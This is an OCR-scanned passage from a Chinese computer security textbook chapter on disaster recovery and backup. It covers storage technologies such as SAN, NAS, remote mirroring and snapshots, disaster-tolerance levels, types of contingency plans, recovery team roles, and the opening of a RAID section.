域 网 的 要 求 ,将 是 实现 高 效 的 远程 容 灾 系 统 的 基础 。 

第 四 ,系统 迁移 。 

在 发 生 灾难 时 ,为 了 能 够 保证 业务 的 连续 性 ,必须 能 够 实现 系统 透明 地 迁移 ,也 就 是 能 
够 利用 备用 系统 透明 地 代替 生产 系统 ,一 般 是 通过 DNS 或 者 IP 地 址 的 改变 来 实现 系统 迁 
移 的 。 

第 五 ,灾难 恢复 。 

灾难 恢复 是 为 恢复 计算 机 系统 提供 保证 的 。 业 界 广泛 的 经 验 和 教训 说 明 ,灾难 恢复 的 
成 功 在 于 企业 中 经 过 良好 训练 和 预演 的 人 在 自己 的 角色 上 实施 预先 计划 的 策略 , 即 灾 难 恢 
复 计 划 。 在 系统 备份 与 灾难 恢复 计划 建立 以 后 ,还 必须 在 事前 反复 测试 ,并 随时 调整 ,加 以 
改进 ,完整 的 系统 恢复 方案 才能 得 以 建立 。 其 中 灾难 恢复 策略 在 整个 恢复 方案 中 占有 非常 
重要 的 作用 。 

可 以 按照 以 下 几 个 步骤 来 制定 数据 恢复 策略 。 

CD 评估 公司 对 数据 流 和 有 效 数 据 的 需要 性 。 

© 每 次 数据 损坏 事故 造成 的 经 济 损失 有 多 大 。 

© 在 多 长 时 间 范 围 内 必须 成 功 进行 数据 恢复 ,以 避免 其 影响 企业 收益 。 

@ 评估 数据 损失 的 风险 ,确定 跨 部 门 的 数据 恢复 策略 优先 级 别 。 

© 评估 数据 存储 设备 的 所 有 潜在 风险 。 

€) 使 用 上 述评 估 结 果 制 定 质 优 价 廉 的 安全 机 制 (包括 备份 ) 。 

CD 考虑 数据 损失 的 间接 代价 是 什么 。 

@ 通过 对 所 有 的 数据 损坏 进行 预算 来 制定 预防 策略 和 最 终 的 数据 恢复 策略 。 
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5. 容 灾 备份 技术 


建立 容 灾 备 份 系统 时 会 涉及 多 种 技术 ,如 SAN 技术 .DAS 技术 .NAS 技术 .远程 镜像 
技术 、 虚 拟 存储 、 基 于 IP 的 SAN 的 互联 技术 ,快照 技术 、 推 技术 、RAIT、 并 行 流 技术 等 。 

(1) SAN 技术 

SAN(Storage Area Network ,存储 局 域 网 ) 是 独立 于 服务 器 网 络 系统 之 外 几乎 拥有 无 
限 存 储 的 高 速 存储 网 络 , 它 以 光纤 通道 作为 传输 媒体 ,以 光纤 通道 和 SCSI 的 应 用 协议 作为 
存储 访问 协议 ,将 存储 子 系统 网 络 化 。 光 纤 通 道 技术 具有 带宽 高 、. 误 码 率 低 和 距离 长 等 特 
点 ,特别 适合 于 海量 数据 传输 领域 ,所 以 被 应 用 于 主机 和 存储 器 间 的 连接 通道 和 组 网 技术 
中 。 基 于 SAN 的 备份 解决 方案 既 包 括 了 集中 式 备 份 解决 方案 的 所 有 管理 上 的 优点 ,又 涵 
盖 了 分 布 式 ( 直 连 式 ) 备 份 方案 所 独 具 的 高 速 数 据 传输 率 的 特点 。 

(2) DAS 技术 

DAS(Direct Attachment Storage, 直 接 挂 接 存 储 ) 数 据 存储 设备 直接 挂 接 在 各 种 服务 器 
或 客户 端 扩 展 接口 下 ,服务 器 通过 1/O 通道 服务 来 直接 访问 DAS 中 的 数据 。DAS 本 身 是 
硬件 的 堆 秋 ,不 带 有 任何 存储 操作 系统 ,而 应 用 服务 器 本 身 的 操作 系统 与 第 三 方 应 用 软件 挂 
接 , 使 得 DAS 设备 的 价格 相对 比较 便宜 。 

(3) NAS 技术 

NAS(Network Attachment Storage, 网 络 挂 接 存储 ) 技 术 可 以 满足 无 专用 直接 连接 存 
储 设备 的 主机 存储 需要 。 由 于 NAS 具有 协议 公开 操作 简单 和 适应 范围 广 的 特点 ,特别 是 
在 以 文件 处 理 为 基础 的 多 用 户 网 络 计算 环境 中 ,NAS 更 以 其 良好 的 扩展 能 力 成 为 重要 的 存 
储 手段 。 

(4) 远程 镜像 技术 

这 种 技术 克服 了 传统 镜像 和 备份 技术 在 时 空 方面 的 局 限 性 ,能 够 保障 关键 业务 在 大 规 
模 灾 害 或 危机 发 生 时 仍然 能 够 持续 不 断 地 稳定 运行 。 远 程 数据 镜像 技术 实现 了 数据 在 不 同 
环境 间 的 实时 有 效 复制 ,无 论 这 些 环境 间 相 距 几米 、 几 公里 ,还 是 横 百 大 陆 。 

远程 镜像 技术 在 主 数据 中 心 和 备 援 中 心 之 间 的 数据 备份 时 需要 用 到 。 镜 像 是 在 两 个 或 
多 个 磁盘 或 磁盘 子 系统 上 产生 同一 个 数据 的 镜像 视图 的 信息 存储 过 程 ,一 个 称 为 主 镜像 系 
统 ; 另 一 个 称 为 从 镜像 系统 。 按 主 、 从 镜像 存储 系统 所 处 的 位 置 可 分 为 本 地 镜像 和 远程 
镜像 。 

远程 镜像 又 称 为 远程 复制 ,是 容 灾 备份 的 核心 技术 ,同时 也 是 保持 远程 数据 同步 和 实现 
灾难 恢复 的 基础 。 远 程 镜像 按 请 求 镜像 的 主机 是 否 需要 远程 镜像 站 点 的 确认 信息 ,又 可 分 
为 同步 远程 镜像 和 异步 远程 镜像 。 

同步 远程 镜像 (同步 复制 技术 ) 是 指 通过 远程 镜像 软件 ,将 本 地 数据 以 完全 同步 的 
方式 复制 到 异地 ,每 一 本 地 的 IO 事务 均 需 要 等 待 远 程 复制 的 完成 确认 信息 , 方 了 予以 
释放 。 同 步 镜像 使 远程 复制 总 能 与 本 地 机 要 求 复制 的 内 容 相 匹配 。 当 主 站 点 出 现 故 
障 时 ,用 户 的 应 用 程序 切换 到 备份 的 蔡 代 站 点 后 ,被 镜像 的 远程 副本 可 以 保证 业务 继 
续 执 行 而 没有 数据 的 丢失 。 但 它 存在 往返 传播 造成 延 时 较 长 的 缺点 ,只 限于 在 相对 较 
近 的 距离 上 应 用 。 
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异步 远程 镜像 (异步 复制 技术 ) 保 证 在 更 新 远程 存储 视图 前 完成 向 本 地 存储 系统 的 基本 
1/0 操作 ,而 由 本 地 存储 系统 提供 给 请 求 镜像 主机 的 L/O 操作 完成 确认 信息 。 远 程 的 数据 
复制 是 以 后 台 同 步 的 方式 进行 的 ,这 使 本 地 系统 性 能 受到 的 影响 很 小 ,传输 距离 长 (可 达 
1000km 以 上 ) ,对 网 络 带宽 要 求 小 。 但 是 ,许多 远程 的 从 属 存储 子 系统 没有 得 到 确认 , 当 某 
种 因素 造成 数据 传输 失败 ,可 能 出 现 数据 不 一 致 性 问题 。 为 解决 这 个 问题 ,目前 大 多 采用 延 
迟 复制 的 技术 , 即 在 确保 本 地 数据 完好 无 损 后 进行 远程 数据 更 新 。 

(5) 虚拟 存储 

在 有 些 容 灾 方 案 产品 中 还 采取 了 虚拟 存储 技术 ,如 异地 容 灾 方 案 。 虚 拟 化 存储 技术 在 
系统 弹性 和 可 扩展 性 上 开创 了 新 的 局 面 。 它 将 几 个 IDE 或 SCSI 驱动 器 等 不 同 的 存储 设备 
串联 为 一 个 存储 池 。 存 储 集群 的 整个 存储 容量 可 以 分 为 多 个 逻辑 卷 ,并 作为 虚拟 分 区 进行 
管理 。 存 储 由 此 成 为 一 种 功能 而 非 物 理 属 性 ,而 这 正 是 基于 服务 器 的 存储 结构 存在 的 主要 
限制 。 

虚拟 存储 系统 还 提供 了 动态 改变 逻辑 卷 大 小 的 功能 。 事 实 上 ,存储 卷 的 容量 可 以 在 线 
随意 增加 或 减少 。 可 以 通过 在 系统 中 增加 或 减少 物理 磁盘 的 数量 来 改变 集群 中 人 逻辑 卷 的 大 
小 。 这 一 功能 允许 卷 的 容量 随 用 户 的 即时 要 求 而 动态 改变 。 另 外 ,存储 卷 能 够 很 容易 地 改 
变 容量 移动 和 替换 。 安 装 系统 时 ,只 需 为 每 个 逻辑 卷 分 配 最 小 的 容量 ,并 在 磁盘 上 留 出 剩 
余 的 空间 即 可 。 随 着 业务 的 发 展 ,可 以 用 剩余 空间 根据 需要 扩展 逻辑 卷 。 也 可 以 将 数据 在 
线 从 旧 驱 动 器 转移 到 新 的 驱动 器 上 ,而 不 中 断 服务 的 运行 。 

存储 虚拟 化 的 一 个 关键 优势 是 它 允 许 异 质 系 统 和 应 用 程序 共享 存储 设备 ,而 不 管 它们 
位 于 何 处 。 公 司 将 不 再 需要 在 每 个 分 部 的 服务 器 上 都 连接 一 台 磁 带 设备 。 

(6) 基于 IP 的 SAN 的 互联 技术 

早期 的 主 数据 中 心 和 备 援 数据 中 心 之 间 的 数据 备份 ,主要 是 基于 SAN 的 远程 复制 ( 镜 
像 ) , 即 通过 光纤 通道 FC ,把 两 个 SAN 连接 起 来 ,进行 远程 镜像 (复制 )。 当 灾难 发 生 时 ,由 
备 援 数据 中 心 替 代 主 数据 中 心 保证 系统 工作 的 连续 性 。 这 种 远程 容 灾 备份 方式 存在 一 些 缺 
陷 , 如 实现 成 本 高 .设备 的 互 操作 性 差 .跨越 的 地 理 距 离 短 (10km) 等 ,这 些 因素 阻 碍 了 它 的 
进一步 推广 和 应 用 。 

目前 ,出 现 了 多 种 基于 IP 的 SAN 的 远程 数据 容 灾 备份 技术 。 它 们 是 利用 基于 IP 的 
SAN 的 互联 协议 ,将 主 数据 中 心 SAN 中 的 信息 通过 现 有 的 TCP/IP 网 络 ,远程 复制 到 备 援 
中 心 SAN 中 。 当 备 援 中 心 存储 的 数据 量 过 大 时 ,可 以 利用 快照 技术 将 其 备份 到 磁带 库 或 
光盘 库 中 。 这 种 基于 IP 的 SAN 的 远程 容 灾 备份 ,可 以 跨越 LAN、MAN IWAN JA IC, 
可 扩展 性 好 ,具有 广阔 的 发 展 前 景 。 

(7) 快照 技术 

远程 镜像 技术 往往 同 快照 技术 结合 起 来 实现 远程 备份 , 即 通过 镜像 把 数据 备份 到 
远程 存储 系统 中 ,再 用 快照 技术 把 远程 存储 系统 中 的 信息 备份 到 远程 的 磁带 库 .光盘 
库 中 。 

快照 是 通过 软件 对 要 备份 的 磁盘 子 系统 的 数据 快速 扫描 ,建立 一 个 要 备份 数据 的 快照 
逻辑 单元 号 LUN 和 快照 cache。 在 快速 扫描 时 ,把 备份 过 程 中 即将 要 修改 的 数据 块 同时 快 
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速 复制 到 快照 cache H., WE LUN 是 一 组 指针 , 它 指 向 快照 cache 和 磁盘 子 系统 中 不 变 的 
数据 块 (在 备份 过 程 中 )。 在 正常 业务 进行 的 同时 ,利用 快照 LUN 实现 对 原 数据 的 一 个 完 
全 的 备份 。 它 可 使 用 户 在 正常 业务 不 受 影响 的 情况 下 ,实时 提取 当前 在 线 业务 数据 功能 。 
其 “备份 窗口 ”接近 于 零 , 可 大 大 增加 系统 业务 的 连续 性 ,为 实现 系统 真正 的 7X24 运转 提供 
了 保证 。 快 照 是 通过 内 存 作为 缓冲 区 (快照 cache) ,由 快照 软件 提供 系统 磁盘 存储 的 即时 数 
据 映 象 , 它 存 在 缓冲 区 调度 的 问题 。 

(8) 推 技 术 

推 技 术 是 一 种 代理 程序 , 它 安装 在 需要 备份 的 客户 机 上 ,按照 备份 服务 器 的 要 求 , 代 理 
程序 产生 需要 备份 文件 的 列表 ,将 这 些 文件 进行 打包 压缩 , 送 到 备份 服务 器 上 。 它 代理 了 一 
部 分 备份 服务 器 的 工作 ,提高 了 网 络 备份 的 效率 。 

(9) RAIT 

RAIT(Redundant Array of Inexpensive Tape) 将 多 个 相同 的 磁带 驱动 器 做 成 一 个 阵 
列 , 既 可 以 提高 备份 性 能 ,又 可 以 提高 磁带 的 容错 性 。 

(10) 并 行 流 技术 

并 行 流 技术 是 指 在 同一 台 备份 服务 器 上 连接 了 多 个 备份 设备 ,同时 也 提交 多 个 备份 任 
务 ,它们 分 别针 对 不 同 的 磁带 设备 ,这 样 可 以 达到 并 行 操作 的 目的 。 但 它 不 像 RAIT 技术 那 
样 具备 容错 的 功能 。 

下 面 是 对 个 人 用 户 提出 的 一 些 备份 建 议 。 

(D 操作 系统 与 应 用 软件 备份 。 在 安装 完 操 作 系统 与 应 用 软件 后 ,将 操作 系统 所 在 的 分 
区 映射 为 一 个 镜像 文件 (使 用 Ghost) ,保存 在 另 一 块 硬盘 或 另 一 个 逻辑 分 区 上 ,这样 在 数据 
恢复 时 就 可 以 直接 由 镜像 文件 恢复 操作 系统 。 

如 果 应 用 软件 没有 安装 在 系统 盘 (C:) 的 Program Files 文件 夹 下 ,而 是 安装 在 了 其 他 
分 区 (如 D:) 上 ,那么 在 备份 C: 盘 后 也 要 备份 D: 盘 ,这 样 操作 系统 发 生 数 据 故障 后 ,就 能 很 
快 恢复 系统 ,而 不 用 重新 安装 操作 系统 与 所 有 的 软件 。 

© 文档 备份 。 例 如 对 于 Office 文档 (包括 Word, PowerPoint, Excel 文档 等 ) 需 要 经 常 
整理 ,然后 定期 备份 。 

C 邮件 与 地 址 筹备 份 。Outlook( 或 Foxmail) 里 的 邮件 与 地 址 憩 可 以 通过 其 "导出 ” 
工具 来 把 地 址 信息 导出 和 邮件 导出 ,将 导出 的 信息 复制 到 其 他 存储 介质 上 可 以 完成 
备份 。 


6. 容 灾 备 份 等 级 


设计 一 个 容 灾 备 份 系统 需要 考虑 多 个 因素 : 备份 /恢复 数据 量 大 小 、 应 用 数据 中 心 与 备 
援 数据 中 心 之 间 的 距离 和 数据 传输 方式 ,灾难 发 生 时 所 要 求 的 恢复 速度 、 备 援 中 心 的 管理 及 
投入 资金 等 。 根 据 这 些 因素 和 不 同 的 应 用 场合 ,将 容 灾 备份 划分 为 4 个 等 级 , 见 表 8-1。 

表 8-1 中 的 容 灾 备 份 等 级 的 划分 类 似 于 国际 标准 SHARE 78.1992 年 美国 的 SHARE 
用 户 组 与 IBM 一 起 ,定义 了 SHARE 78 标准 ,该 标准 将 容 灾 系统 分 为 7 层 , 分 别 适用 于 不 
同 的 规模 和 应 用 场合 。 有 兴趣 的 读者 可 以 在 网 上 查找 SHARE 78 标准 的 文档 。 
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表 8-1 容 灾 备份 等 级 
等 级 说 明 


本 地 备份 、 本 地 保存 的 冷 备份 。 它 的 容 灾 恢复 能 力 最 弱 , 它 只 在 本 地 进行 数据 备份 ,并 且 被 
备份 的 数据 磁带 只 在 本 地 保存 ,没有 送 往 异 地 


本 地 备份 .异地 保存 的 冷 备 份 。 在 本 地 将 关键 数据 备份 ,然后 送 到 异地 保存 ,如 交 由 银行 保 
i 管 。 灾 难 发 生 后 , 按 预 定数 据 恢复 程序 恢复 系统 和 数据 。 这 种 容 灾 方案 也 是 采用 磁带 机 等 
存储 设备 进行 本 地 备份 ,同样 还 可 以 选择 磁带 库 .光盘 库 等 存储 设备 


热 备份 站 点 备份 。 在 异地 建立 一 个 热 备份 站 点 ,通过 网 络 进 行 数据 备份 。 也 就 是 通过 网 络 
2 以 同步 或 异步 方式 ,把 主 站 点 的 数据 备份 到 备份 站 点 。 备 份 站 点 一 般 只 备份 数据 ,不 承担 业 
务 。 但 是 , 当 出 现 灾难 时 ,备份 站 点 接替 主 站 点 的 业务 ,从 而 维护 业务 运行 的 连续 性 


活动 互 援 备份 。 这 种 异地 容 灾 方 案 与 前 面 介绍 的 热 备份 站 点 备份 方案 差不多 ,不 同 的 只 是 
主 \ 从 系统 不 再 是 固定 的 ,而 是 互 为 对 方 的 备份 系统 。 这 两 个 数据 中 心 系统 分 别 在 相隔 较 远 
的 地 方 建立 ,都 处 于 工作 状态 ,并 进行 相互 数据 备份 。 当 某 个 数据 中 心 发 生 灾难 时 , 另 一 个 
数据 中 心 接替 其 工作 任务 。 通 常 在 这 两 个 系统 之 间 的 光纤 设备 连接 中 还 提供 宛 余 通道 ,以 
备 工作 通道 出 现 故 障 时 及 时 接替 工作 ,这 种 级 别 的 备份 根据 实际 要 求 和 投入 资金 的 多 少 , 又 
可 分 为 两 种 : 两 个 数据 中 心 之 间 只 限于 关键 数据 的 相互 备份 ; 四 两 个 数据 中 心 之 间 互 为 
镜像 , 即 零 数 据 丢 失 。 零 数据 丢失 是 目前 要 求 最 高 的 一 种 容 灾 备 份 方式 , 它 要 求 不 管 什么 灾 
难 发 生 , 系 统 都 能 保证 数据 的 安全 。 所 以 , 它 需 要 配置 复杂 的 管理 软件 和 专用 的 硬件 设备 ， 
需要 的 投资 是 最 大 的 ,但 恢复 速度 也 是 最 快 的。 当然 采取 这 种 容 灾 方式 的 主要 是 资金 实力 
较 雄厚 的 大 型 企业 和 电信 级 企业 


7. 数据 容 灾 与 备份 的 联系 


备份 是 指 用 户 为 应 用 系统 产生 的 重要 数据 (或 者 原 有 的 重要 数据 信息 ) 制 作 一 份 或 者 多 
份 副本 ,以 增强 数据 的 安全 性 。 

备份 与 容 灾 关 注 的 对 象 不 同 ,备份 关注 数据 的 安全 , 容 灾 关注 业务 应 用 的 安全 。 

可 以 把 备份 称 作 是 “数据 保护 ”, 而 容 灾 称 作 “业务 应 用 保护 ”。 

备份 通过 备份 软件 使 用 磁带 机 或 者 磁带 库 ( 有 些 用 户 使 用 磁盘 、 光 盘 ) 作 为 存储 介质 将 
数据 进行 复制 , 容 灾 则 表现 为 通过 高 可 用 方案 将 两 个 站 点 或 者 系统 连接 起 来 。 

备份 与 容 灾 是 存储 领域 两 个 非常 重要 的 部 分 ,二 者 有 着 密切 的 联系 。 

首先 ,在 备份 与 容 灾 中 都 有 数据 保护 工作 ,备份 大 多 采用 磁带 方式 ,性 能 低 ,成 本 低 ; 容 
灾 采 用 磁盘 方式 进行 数据 保护 ,数据 随时 在 线性 能 高 ,成 本 高 。 

其 次 ,备份 是 存储 领域 的 一 个 基础 ,在 一 个 完整 的 容 灾 方案 中 必然 包括 备份 的 部 分 ; 同 
时 备份 还 是 容 灾 方案 的 有 效 补充 ,因为 容 灾 方 案 中 的 数据 始终 在 线 , 所 以 存储 有 完全 被 破坏 
的 可 能 ,而 备份 提供 了 额外 的 一 条 防线 ,即使 在 线 数据 丢失 也 可 以 从 备份 数据 中 恢复 。 

数据 容 灾 与 数据 备份 的 联系 主要 体现 在 以 下 几 个 方面 。 

(1) 数据 备份 是 数据 容 灾 的 基础 

数据 备份 是 数据 高 可 用 的 最 后 一 道 防线 ,其 目的 是 为 了 在 系统 数据 崩溃 时 能 够 快速 地 
恢复 数据 。 虽 然 它 也 算 一 种 容 灾 方 案 , 但 这 种 容 灾 能 力 非常 有 限 ,因为 传统 的 备份 主要 是 采 
用 数据 内 置 或 外 置 的 磁带 机 进行 冷 备 份 , 备 份 磁带 同时 也 在 机 房 中 统一 管理 ,一 旦 整个 机 房 
出 现 了 灾难 ,如 火灾 、 盗 窃 和 地 震 等 灾难 时 ,这 些 备份 磁带 也 随 之 销毁 ,所 存储 的 磁带 备份 也 


起 不 到 任何 容 灾 功 能 。 


(2) 容 灾 不 是 简单 备份 

真正 的 数据 容 灾 就 是 要 避免 传统 冷 备份 所 具有 的 先天 不 足 , 它 能 在 灾难 发 生 时 ,全 面 、 
及 时 地 恢复 整个 系统 。 不 过 数据 备份 还 是 最 基础 的 ,没有 备份 的 数据 ,任何 容 灾 方 案 都 没有 
现实 意义 。 而 容 灾 对 于 IT 而 言 ,是 能 够 提供 一 个 防止 各 种 灾难 的 计算 机 信息 系统 。 

(3) 容 灾 不 仅 是 技术 

容 灾 是 一 个 系统 工程 ,不 仅 包括 各 种 容 灾 技 术 , 还 应 有 一 整套 容 灾 流 程 、. 规 范 及 其 具体 
措施 。 数 据 备份 技术 与 容 灾 技 术 的 功能 联系 见 表 8-2。 


表 8-2 数据 备份 技术 与 容 灾 技 术 的 功能 联系 
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项 H 数据 备份 技术 容 灾 技术 

物理 硬件 故障 是 是 

病毒 发 作 是 部 分 
防范 意外 事件 人 为 误 操作 是 部 分 

人 为 恶意 破坏 是 "m 

自然 灾害 m 是 

数据 和 文件 是 是 

应 用 和 设置 部 分 是 
保护 对 象 操作 系统 部 分 是 

网 络 系统 否 是 

供电 系统 fm 是 

系统 连续 性 不 保证 保证 
系统 恢复 数据 损失 有 少量 损失 完全 不 损失 

可 恢复 到 时 间 点 多 个 当前 

数据 管理 方式 搬移 到 离线 在 线 同 步 
其 他 方面 

适用 系统 规模 任何 系统 规模 大 型 系统 
8. 容 灾 计划 


严格 地 说 , 容 灾 计 划 包 括 一 系列 应 急 计 划 , 如 业务 持续 计划 .业务 恢复 计划 .操作 连续 性 
计划 ,事件 响应 计划 、 场 所 紧急 计划 ` 危 机 通信 计划 灾难 恢复 计划 等 。 

(1) 业务 持续 计划 

业务 持续 计划 (Business Continuity Plan, BCP) 是 一 套用 来 降低 组 织 的 重要 营运 功能 
遭受 未 料 的 中 断 风 险 的 作业 程序 . 它 可 能 是 人 工 或 系统 自动 的 。 业 务 持续 计划 的 目的 是 使 
一 个 组 织 及 其 信息 系统 在 灾难 事件 发 生 时 仍 可 以 继续 运作 。 

(2) 业务 恢复 计划 

业务 恢复 计划 (Business Recovery Plan,BRP) 也 称 为 业务 继续 计划 ,涉及 紧急 事件 后 对 
业务 处 理 的 恢复 ,但 与 BCP 不 同 , 它 在 整个 紧急 事件 或 中 断 过 程 中 缺乏 确保 关键 处 理 的 连 
续 性 规程 。BRP 的 制定 应 该 与 灾难 恢复 计划 及 BCP 进行 协调 。BRP 应 该 附加 在 BCP 
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zh. 

(3) 操作 连续 性 计划 

操作 连续 性 计划 (Continuity of Operations Plan,COOP) 关 注 的 是 位 于 机 构 ( 通 常 是 总 
部 单位 ) 备 用 站 点 的 关键 功能 以 及 这 些 功 能 在 恢复 到 正常 操作 状态 之 前 最 多 30 天 的 运行 。 
由 于 COOP 涉及 总 部 级 的 问题 , 它 和 BCP 是 互相 独立 制定 和 执行 的 。COOP 的 标准 要 素 包 
括 职权 条 款 、 连 续 性 的 顺序 和 关键 记录 和 数据 库 。 由 于 COOP 强调 机 构 在 备用 站 点 恢复 运 
行 中 的 能 力 , 所 以 该 计划 通常 不 包括 IT 运行 方面 的 内 容 。 另 外 , 它 不 涉及 无 须 重 新 配置 到 
备用 站 点 的 小 型 危害 。 但 是 COOP 可 以 将 BCP、BRP 和 灾难 恢复 计划 作为 附录 。 

(4) 事件 响应 计划 

事件 响应 计划 (Incident Response Plan,IRP) 建 立 了 处 理 针 对 机 构 的 IT 系统 攻击 的 规 
程 。 这 些 规程 用 来 协助 安全 人 员 对 有 害 的 计算 机 事件 进行 识别 .消减 并 进行 恢复 ,这 些 事件 
的 例子 包括 : 对 系统 或 数据 的 非法 访问 .拒绝 服务 攻击 或 对 硬件 .软件 .数据 的 非法 更 改 ( 如 
有 害 程 序 : 病毒 .蠕虫 或 木马 等 ) 。 本 计划 可 以 包含 在 BCP 的 附录 中 。 

(5) 场所 紧急 计划 

场所 紧急 计划 (Occupant Emergency Plan,OEP) 在 可 能 对 人 员 的 安全 健康 、 环 境 或 财 
产 构成 威胁 的 事件 发 生 时 ,为 设施 中 的 人 员 提 供 反应 规程 。OEP 在 设施 级 别 进 行 制定 ,与 
特定 的 地 理 位 置 和 建筑 结构 有 关 。 设 施 OEP 可 以 附加 在 BCP 之 后 ,但 是 独立 执行 。 

(6) 危机 通信 计划 

机 构 应 该 在 灾难 之 前 做 好 其 内 部 和 外 部 通信 规程 的 准备 工作 。 危 机 通信 计划 (Crisis 
Communication Plan.CCP) 通 常 由 负责 公共 联络 的 机 构 制 订 。 和 危机 通信 计划 规程 应 该 和 所 
有 其 他 计划 协调 ,以 确保 只 有 受到 批准 的 内 容 公 之 于 众 , 它 应 该 作为 附录 包含 在 BCP 中 。 
和 危机 通信 计划 通常 指定 特定 的 人 员 作 为 在 灾难 反应 中 回答 公众 问题 的 唯一 发 言 人 。 它 还 可 
以 包括 向 个 人 和 公众 散发 状态 报告 的 规程 ,如 记者 招待 会 的 模板 。 

(7) 灾难 恢复 计划 

正如 其 名 字 所 表示 的 ,灾难 恢复 计划 (Disaster Recovery Plan. DRP) 应 用 于 重大 的 , 通 
常 是 灾难 性 、 造 成 长 时 间 无 法 对 正常 设施 进行 访问 的 事件 。 通 常 ,DRP 指 用 于 紧急 事件 后 
在 备用 站 点 恢复 目标 系统 .应 用 或 计算 机 设施 运行 的 IT 计划 。DRP 的 范围 可 能 与 IT 应 急 
计划 重要 ,但 是 DRP 的 范围 比较 狭窄 , 它 不 涉及 无 须 重新 配置 的 小 型 危害 。 根 据 机 构 的 需 
要 ,可 能 会 有 多 个 DRP 附加 在 BCP 之 后 。 灾 难 恢复 计划 的 目的 是 将 灾难 造成 的 影响 减少 
到 最 低 程度 ,并 采取 必要 的 步骤 来 保证 资源 、 员 工 和 业务 流程 能 够 继续 运行 。 灾 难 恢复 计划 
和 业务 连续 性 计划 不 同 ,业务 连续 性 计划 用 来 为 长 时 间 的 停工 和 灾难 提供 处 理 方法 和 步骤 。 
而 灾难 恢复 计划 的 目标 是 在 灾难 发 生 后 马上 处 理 灾难 及 其 后 果 。 灾 难 恢 复 计划 在 所 有 事情 
都 还 处 于 紧急 状态 的 时 候 就 开始 执行 ,而 业务 连续 性 计划 考虑 问题 的 方面 更 加 长 远 。 


9. 组 织 与 职责 分 配 


在 确定 了 灾难 恢复 计划 后 ,必须 组 建 合适 的 团队 来 实施 恢复 策略 ,并 确定 与 各 个 团队 相 
关 的 关键 决策 者 、 信 息 部 门 和 终端 用 户 的 相关 职责 。 这 些 团 队 负责 对 事件 进行 响应 ,对 功能 
进行 恢复 和 使 系统 回 到 正常 运行 状态 。 这 些 团 队 的 数量 和 种 类 根据 组 织 规模 和 需要 来 组 


织 , 可 能 包括 以 下 几 部 分 。 


计算 机 安全 技术 


(1) 事件 响应 小 组 

一 旦 发 生 威胁 到 信息 资产 和 业务 流程 的 安全 事件 ,就 必须 及 时 上 报到 事件 响应 小 组 , 事 
件 响应 小 组 根据 对 事件 的 初步 分 析 ,确定 事件 的 性 质 , 通 知 有 关 团 队 采 取 下 一 步行 动 。 

(2) 应 急行 动 小 组 

针对 灾难 事件 的 第 一 时 间 响 应 小 组 。 由 处 理 火 灾 的 救火 员 或 其 他 突 发 事件 人 员 组 成 。 
他 们 的 首要 职责 是 有 序 地 玻 散 危险 环境 下 的 员工 ,保护 员工 生命 安全 。 

(3) 损失 评估 小 组 

评估 灾难 的 范围 。 通 常 由 能 评估 灾难 程度 和 恢复 时 间 的 专业 人 士 组 成 。 损 失 评估 小 组 
有 责任 指出 灾难 发 生 的 原因 ,以 及 业务 中 断 造成 的 影响 大 小 。 

(4) 应 急 管理 小 组 

负责 启动 灾难 恢复 计划 并 监督 恢复 操作 的 运行 ,并 对 灾难 恢复 过 程 中 的 重大 问题 做 出 
决策 。 

(5) 异地 存储 小 组 

获取 、 包 装 、 运 送 备 份 介质 和 相关 记录 文件 到 灾难 恢复 地 点 ,同时 在 恢复 站 点 运行 期 间 ， 
建立 和 检查 新 产生 数据 的 异地 备份 工作 。 

此 外 ,还 可 以 包括 应 急 作 业 小 组 ,应 用 软件 小 组 、 系 统 软件 小 组 、 安 全 小 组 .网 络 恢复 小 
组 ,通信 小 组 .运输 小 组 .硬件 小 组 ,供应 小 组 ,协调 小 组 .异地 安置 小 组 ,法 律 事务 小 组 ,恢复 
测试 小 组 .培训 小 组 等 。 


8.1.2 RAD 简介 


RAID 最 初 是 Redundant Array of Independent Disk( 独 立 磁盘 元 余 阵列 ) 的 缩写 ,后 来 
由 于 廉价 磁盘 的 出 现 ,RAID 成 为 Redundant Array of Inexpensive Disks( 廉 价 磁盘 宛 余 阵 
列 ) 的 缩写 ,RAID 技术 诞生 于 1987 年 ,由 美国 加 州 大 学 伯克利 分 校 提出 。RAID 的 基本 想 
法 是 把 多 个 便宜 的 小 磁盘 组 合 到 一 起 ,成 为 一 个 磁盘 组 ,使 性 能 达到 或 超过 一 个 容量 巨大 、 
价格 昂贵 的 磁盘 。 虽 然 RAID 包含 多 块 磁盘 ,但 是 在 操作 系统 下 是 作为 一 个 独立 的 大 型 存 
储 设 备 出 现 。RAID 技术 分 为 几 种 不 同 的 等 级 ,分 别 可 以 提供 不 同 的 速度 .安全 性 和 性 
价 比 。 

RAID 技术 起 初 主要 应 用 于 服务 器 高 端 市 场 ,但 是 随 着 IDE 硬盘 性 能 的 不 断 提 升 、 
RAID 芯片 的 普及 、 个 人 用 户 市 场 的 成 熟 和 发 展 , 正 不 断 向 低 端 市 场 靠拢 ,从 而 为 用 户 提 供 
了 一 种 既 可 以 提升 硬盘 速度 ,又 能 够 确保 数据 安全 性 的 良好 解决 方案 。 

目前 RAID 技术 大 致 分 为 两 种 : 基于 硬件 的 RAID 技术 和 基于 软件 的 RAID 技术 。 

RAID 按照 实现 原理 的 不 同 分 为 不 同 的 级 别 , 不 同 的 级 别 其 工作 模式 是 有 区 别 的 。 


1. RAID 0( 无 差错 控制 的 带 区 组 ) 


RAID 0 是 最 简单 的 一 种 形式 ,也 称 为 条 带 模 式 (Striped) , 即 把 连续 的 数据 分 散 到 多 个 
磁盘 上 存 取 ,如 图 8-1 所 示 。 当 系统 有 数据 请 求 就 可 以 被 多 个 磁盘 并 行 执行 ,每 个 磁盘 执行 
属于 它 自己 的 那 部 分 数据 请 求 。 这 种 在 数据 上 的 并 行 操作 可 以 充分 利用 总 线 的 带宽 ,显著 
提高 磁盘 整体 存 取 性 能 。 因 为 数据 分 布 在 不 同 驱动 器 上 ,所 以 数据 吞吐 量 大 大 提高 ,驱动 器 
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的 负载 也 比较 平衡 。RAID 0 中 的 数据 映射 如 图 8-2 所 示 。 
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图 8-1 RAID 0( 无 差错 控制 的 带 区 组 ) 
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图 8-2 RAID 0 中 的 数据 映射 


2. RAID 1( 镜 像 结构 ) 


虽然 RAID 0 可 以 提供 更 多 的 空间 和 更 好 的 性 能 ,但 是 整个 系统 是 非常 不 可 靠 的 。 
RAID 1 和 RAID 0 截然 不 同 ,其 技术 重点 全 部 放 在 如 何 能 够 在 不 影响 性 能 的 情况 下 最 大 限 
